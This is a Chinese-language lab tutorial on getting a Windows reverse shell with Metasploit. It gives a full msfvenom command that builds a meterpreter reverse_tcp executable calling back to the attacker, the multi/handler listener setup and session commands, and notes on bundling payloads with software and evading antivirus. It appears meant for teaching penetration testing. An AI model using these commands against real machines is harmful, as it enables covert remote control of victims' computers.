Metasploit 反弹Shell
概念介绍
Metasploit
Metasploit框架是一款开源的渗透测试平台,由H.D. Moore于2003年开发,后被Rapid7收购。它集成了漏洞扫描、利用、后渗透测试等功能,广泛应用于网络安全评估和漏洞验证
-
渗透攻击模块(Exploits)
针对特定漏洞设计,例如ms17_010_eternalblue
(永恒之蓝漏洞利用)。用户通过配置目标参数(如RHOSTS
、LHOST
)发起攻击 -
辅助模块(Auxiliary)
用于信息收集、扫描(如SMB漏洞扫描)或拒绝服务攻击(DoS) -
攻击载荷(Payloads)
执行攻击后的操作,例如:- Meterpreter:内存驻留型载荷,支持文件操作、提权等
- 反向Shell:建立远程控制连接
-
编码器(Encoders)与空指令模块(Nops)
编码器用于绕过杀毒软件检测,空指令模块提高漏洞利用稳定性 -
后渗透模块(Post)
用于维持访问(如迁移进程)、收集凭证或横向移动
MsfVenom
一款独立的 Metasploit payload生成工具,同时也是 msfpayload
和 msfencode
的替代品。
-
功能定位
- 独立 Payload 生成器:无需进入 Metasploit 控制台,直接通过命令行生成攻击载荷(如反向 Shell、Meterpreter 等)。
- 整合旧工具:取代了早期工具
msfpayload
(生成 Payload)和msfencode
(编码 Payload),功能更高效。
-
典型用途
- 生成跨平台攻击载荷(Windows/Linux/Android 等)。
- 支持多种输出格式(如 EXE、APK、PHP、Python 等)。
- 内置编码和混淆功能(如
shikata_ga_nai
编码)
msfconsole
msfconsole
是metasploit的默认命令行交互控制台,是与metasploit的各个功能交互的主要入口。通过 msfconsole
,用户可以加载模块(如漏洞利用、辅助扫描)、配置参数、执行攻击等
测试准备
攻击主机:kali
工具:metasploit framework 6.4.18
客户机:windows 7
测试思路
1、攻击者使用msfvenom生成攻击载荷
2、攻击者使用msfconsole监听来自客户的反向连接
3、攻击者诱导客户下载并运行恶意文件(测试环境直接运行)
4、攻击者拿到客户shell,获取对应权限,执行破会操作
操作步骤
step1
生成windows的反弹meterpreter payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.26.231.150 LPORT=7777 -f exe -o windows.exe
windows/meterpreter/reverse_tcp:meterpreter是metasploit框架下的一个动态可扩展的攻击载荷,这里选择的针对windows系统的一个tcp反弹payload。关于这些载荷有很多,msfvenom --list payloads可以查看更多的payload
-p:指定payload
LHOST:指定本地主机地址,反向连接时的地址
LPORT:指定本地监听端口,与本地其他端口不冲突即可
-f:payload文件格式,如exe、apk等
-o:指定输出文件名称,与输出重定向符号 > 一样的效果
step2
将生成的payload文件windows.exe传到被攻击的客户端上。
如果是真实攻击,黑客会将此文件与其他软件进行捆绑,比如从不安全的网站下载的软件,安装时就会自动运行这个恶意文件。
step3
实施攻击
msfconsole
#进入msf控制台
use exploit/multi/handler
#选择 Metasploit 的 多用途监听模块,用于接收来自目标机器的反向连接(如 Meterpreter Shell)
set payload windows/meterpreter/reverse_tcp
#设置攻击载荷为 Windows 平台的 Meterpreter 反向 TCP Shell。
set LHOST 10.x.x.x.x
#设置本地监听地址,即攻击者地址
set LPORT 7777
#设置本地监听端口
show options
#可以查看到上述步骤的配置
exploit -z
#开始实施攻击,此时攻击者会打开7777端口等待反向连接
# -z会话在后台进行,需要通过sessions -i手动连接,如果不加-z,则直接进入meterpreter交互界面
step4
被攻击主机上运行windows.exe这个反向连接文件(真实场景中是客户在不知情的情况下点开了这个文件)
step5、渗透成功
sesisons
#鱼儿上钩,攻击者接到了被攻击者发来的连接,此处为连接的会话
sessions -i 1
#进入第一个连接的会话,进入meterpreter交互界面,可执行命令控制远程主机
其他
step1生成的反弹文件,客户端安装了终端安全软件,在运行时会被自动拦截。
如果自己测试可以临时关闭或者找一台虚拟机进行
如果是业务场景,一定一定要开启终端防护策略!!!